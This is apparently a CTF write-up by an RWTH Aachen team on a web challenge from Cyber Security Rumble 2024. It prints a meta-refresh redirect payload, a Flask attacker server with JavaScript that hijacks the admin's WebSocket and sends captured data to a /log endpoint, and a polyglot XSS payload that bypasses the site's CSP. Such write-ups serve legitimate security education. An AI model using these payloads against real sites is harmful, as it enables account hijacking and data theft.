Pwn-la-Chapelle

Pwn-la-Chapelle

Popping Shells and Stealing Flags at RWTH Aachen University

Writeup - Cyber Security Rumble 2024: Conspiracy Social

by Euph0r14, Vincent - - Estimated reading time: 15 minutes

A web challenge by lukas, solved by Euph0r14, Danptr, Vincent

Challenge

Always wanted to start your own Conspiracy but got overwhelmed managing all the secret handshakes and passwords with your fellow conspirators? Then Conspiracy Social is the solution you’re looking for. We take all the hassle out of managing secret handshakes. With us you can always be sure that your conversation partner is who he pretends to be.

The challenge presents two URLs and the source code:

  1. Main Website: Available at https://conspiracysocial.rumble.host/

    • Here, users can create an account and set up a Handshake.
    Screenshot showing Handshake page
  2. Admin Bot: Accessible at https://conspiracysocial-bot.rumble.host/

    • Users can submit URLs here.
    Screenshot showing Submitting page

The source code is fairly large, including a C# ASP.NET Core web application and a simpler Python web app managing an admin bot:

 1foo@bar:~$ tree ConspiracySocial 
 2ConspiracySocial 
 3├── bot
 4│ ├── app
 5│ │ ├── app.py
 6│ │ ├── browser.py
 7│ │ └── templates
 8│ │ └── index.tpl
 9│ └── Dockerfile
10├── docker-compose.yml
11├── webapp
12│ ├── appsettings.Development.json
13│ ├── appsettings.json
14│ ├── Areas
15│ │ └── Identity
16│ │ └── Pages
17│ │ ├── Account
18│ │ │ ├── Register.cshtml
19│ │ │ ├── Register.cshtml.cs
20│ │ │ └── \_ViewImports.cshtml
21│ │ ├── \_ValidationScriptsPartial.cshtml
22│ │ ├── \_ViewImports.cshtml
23│ │ └── \_ViewStart.cshtml
24│ ├── certificate.pfx
25│ ├── ConspiracySocial.csproj
26│ ├── Controller
27│ │ └── ChatController.cs
28│ ├── Data
29│ │ └── ApplicationDbContext.cs
30│ ├── Dockerfile
31│ ├── Migrations
32│ │ ├── 20240421114521_Init.cs
33│ │ …

Exploration

Given the project’s size, I initially focused on files that seemed important, such as ChatService.cs, Program.cs, ChatController.cs (API endpoints), app.py, and browser.py.

Key Discoveries

  • Handshake: Users establish a Handshake consisting of a challenge string (question) and response string.
    • A Handshake includes a GUID, Challenge, Response, Owner (ApplicationUser), and a list of ApplicationUsers who are InTheKnow.
    • Every User is added to their own InTheKnow list during creation. There is no other way to be added.
  • Admin Account: The admin account (admin@conspiracysocial.org) has a Handshake response which is the flag.
  • Program.cs: Initializes the web app, setting up the site, database, and the admin user.
  • ChatController.cs: Provides API endpoints like ws and UserInfo.
    • ws: Requires the user to be logged in and specify a username to contact. It checks if you are on the InTheKnow list for that username, passing this to chatService with a WebSocket.
    • UserInfo: Retrieves a user’s Handshake Challenge with a GET request using a username.
  • ChatService.cs: Manages the chat service. If you are not InTheKnow, you receive the Challenge and must provide the correct Response. If successful and logged in as the admin, you get the flag. Finally, the WebSocket echoes whatever input it receives.

This shows that we can get the flag by stealing the admin bot’s auth token, exploiting XSS, or abusing the WebSocket. Our focus should be on tricking the bot to visit our controlled content or sites.

Examining the Bot Files

Starting with app.py:

 1[...]
 2@app.route("/visit", methods = ["POST"])
 3def visit():
 4[...]
 5    url = request.form["url"]
 6[...]
 7    try:
 8        res.check_returncode()
 9    except subprocess.CalledProcessError as e:
10        print(e)
11        return redirect("/?msg=The+admin+didn't+like+your+url!")
12
13    return redirect("/")
14
15if __name__ == "__main__":
16    app.run("0.0.0.0", 8080)

This script hosts a simple web server and runs the browser.py script with the provided URL.

browser.py:

 1[...]
 2URL = "webapp"
 3PORT = 5001
 4
 5attack_url = sys.argv[1]
 6parsed_url = urlparse(attack_url)
 7assert parsed_url.scheme == "https"
 8assert parsed_url.hostname == URL
 9[...]
10try:
11    browser = Remote(options=options, command_executor="http://browser:4444/wd/hub")
12
13    browser.get(f"https://{URL}:{PORT}/Identity/Account/Login")
14    browser.find_element(By.ID, "Input_Email").send_keys("admin@conspiracysocial.org")
15    browser.find_element(By.ID, "Input_Password").send_keys(admin_pwd)
16    browser.find_element(By.ID, "login-submit").click()
17    time.sleep(5)
18
19    signal.alarm(30)
20    browser.get(attack_url)
21    time.sleep(20)
22[...]

Now this looks interesting!

The Bot uses Selenium to log into the main web app as the admin and opens the provided link. The URL must use the internal hostname webapp and be HTTPS (SSL errors are ignored).

So we are limited to providing internal URLs, but can we control any public content on the main website? Yes!

Remember, the web service exposes a public UserInfo API, which loads a user’s Handshake Challenge:

Screenshot showing User content

We can embed HTML directly and have the bot load it in their browser. Initial attempts at basic XSS and remote source loading were blocked by a strict Content Security Policy (CSP):

Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';

While the CSP lead us to trying a different (intended) route, there still is a way to do XSS, which you can see at the end of this writeup. :)

Instead of attempting any more XSS attacks, we explored another attack vector involving the WebSocket. But how to direct the browser to a site we control? Simple: HTML redirects! Using a <meta> tag, we crafted our malicious HTML payload:

1<meta
2  http-equiv="refresh"
3  content="7; url='https://<our malicious server>:443/attack'"
4/>

And this worked! Visiting our UserInfo page redirected the browser to our server. We then turned to exploiting the WebSocket Service.

Setting Up a Malicious Server

We set up a simple Flask webserver with self-generated certificates for HTTPS:

 1from flask import Flask, render_template, request, jsonify
 2import ssl
 3import websocket
 4import threading
 5
 6app = Flask(__name__)
 7
 8@app.route('/attack')
 9def attack(): # Serve the HTML template with WebSocket client code
10    return render_template('websocket.html')
11
12@app.route('/log', methods=['POST'])
13def log(): # Receive data sent by the client and print it or process it as needed
14    data = request.json
15    print(f"Received WebSocket data: {data}")
16    return jsonify(success=True)
17[...]
18if __name__ == '__main__': # Run the app on all interfaces and enable HTTPS
19    context = ssl.SSLContext(ssl.PROTOCOL_TLS)
20    context.load_cert_chain('certificate.crt', 'private.key')
21    app.run(host='0.0.0.0', port=443, ssl_context=context)

Alongside a basic HTML template with the malicious JavaScript:

 1<!DOCTYPE html>
 2<html lang="en">
 3<head>
 4    <meta charset="UTF-8">
 5    <title>WebSocket Attack</title>
 6    <script type="text/javascript">
 7        document.addEventListener('DOMContentLoaded', function () {
 8            var ws = new WebSocket('wss://webapp:5001/api/chat/ws/admin@conspiracysocial.org');
 9
10            function sendToServer(data) {
11                fetch('/log', {
12                    method: 'POST',
13                    headers: {
14                        'Content-Type': 'application/json',
15                    },
16                    body: JSON.stringify({ message: data })
17                }).then(response => response.json())
18                .then(data => console.log('Success:', data))
19                .catch((error) => {
20                    console.error('Error:', error); …</script></meta></head></html></!DOCTYPE>

Our webserver also logs all GET/POST traffic directed at it—useful for confirming XSS attacks. The malicious JavaScript in the template redirected WebSocket communication to /log on our Flask server.

Upon running the server and guiding the Bot to our malicious HTML redirect, we successfully retrieved the flag:

1(venv) Euph0r14@ubuntu-8gb-nbg1-3:~/ctf$ sudo python simple_https_bot.py
2[...]
3157.90.27.90 - - [12/May/2024 05:31:13] "GET /attack HTTP/1.1" 200 -
4Received WebSocket data: {'message': 'Since you know the flag here is the flag for you: CSR{Y0u11_n4Ver_gus55_th4t}'}
5[...]

CSR{Y0u11_n4Ver_gus55_th4t}

Why This Works

Redirecting the admin bot to our malicious server shifts the browser’s security context to our domain. Without a restrictive CSP, we can initiate WebSocket connections back to the original site.

WebSockets are not protected by the same-origin policy. Instead Browsers append an Origin header to WebSocket requests, but the target server does not validate the header. This allowed us to use a script on our malicious site to open the WebSocket and intercept the traffic.

Simple XSS doesn’t work, right?

Well, actually it does! While the page has a strict CSP which only allows scripts from the same origin, we can still use a script tag with a src attribute pointing to the UserInfo endpoint we control as it is on the same origin. We could do this using two accounts: one who provides a JavaScript payload and the other who provides the HTML page with the script tag. We can however also craft a single payload which is interpreted as valid HTML or JavaScript depending on its context.

This is the payload we used with html highlighting:

 1var base = 'https://webapp:5001/';
 2
 3async function foo() {
 4    var data = btoa((await (await fetch(base + "Handshake", {
 5        "headers": {
 6          "accept": "text/css,*/*;q=0.1",
 7          "accept-language": "en-US,en-DE;q=0.9,en;q=0.8,de-DE;q=0.7,de;q=0.6",
 8          "cache-control": "no-cache",
 9          "pragma": "no-cache",
10          "sec-ch-ua": "\"Chromium\";v=\"124\", \"Google Chrome\";v=\"124\", \"Not-A.Brand\";v=\"99\"",
11          "sec-ch-ua-mobile": "?0",
12          "sec-ch-ua-platform": "\"Linux\"",
13          "sec-fetch-dest": "style",
14          "sec-fetch-mode": "no-cors",
15          "sec-fetch-site": "same-origin"
16        },
17        "referrerPolicy": …

As you can see, the JavaScript is interpreted as text and the script tag is interpreted as HTML and therefore loaded. This is the same payload with JavaScript highlighting:

 1var base = 'https://webapp:5001/';
 2
 3async function foo() {
 4    var data = btoa((await (await fetch(base + "Handshake", {
 5        "headers": {
 6          "accept": "text/css,*/*;q=0.1",
 7          "accept-language": "en-US,en-DE;q=0.9,en;q=0.8,de-DE;q=0.7,de;q=0.6",
 8          "cache-control": "no-cache",
 9          "pragma": "no-cache",
10          "sec-ch-ua": "\"Chromium\";v=\"124\", \"Google Chrome\";v=\"124\", \"Not-A.Brand\";v=\"99\"",
11          "sec-ch-ua-mobile": "?0",
12          "sec-ch-ua-platform": "\"Linux\"",
13          "sec-fetch-dest": "style",
14          "sec-fetch-mode": "no-cors",
15          "sec-fetch-site": "same-origin"
16        },
17        "referrerPolicy":

Here, the HTML is interpreted as a comment and the JavaScript is executed, allowing us to steal the flag with a single payload by simply providing the admin bot with the URL to our UserInfo page.

rssfacebooktwittergithubyoutubemailspotifylastfminstagramlinkedingooglegoogle-pluspinterestmediumvimeostackoverflowredditquoraquora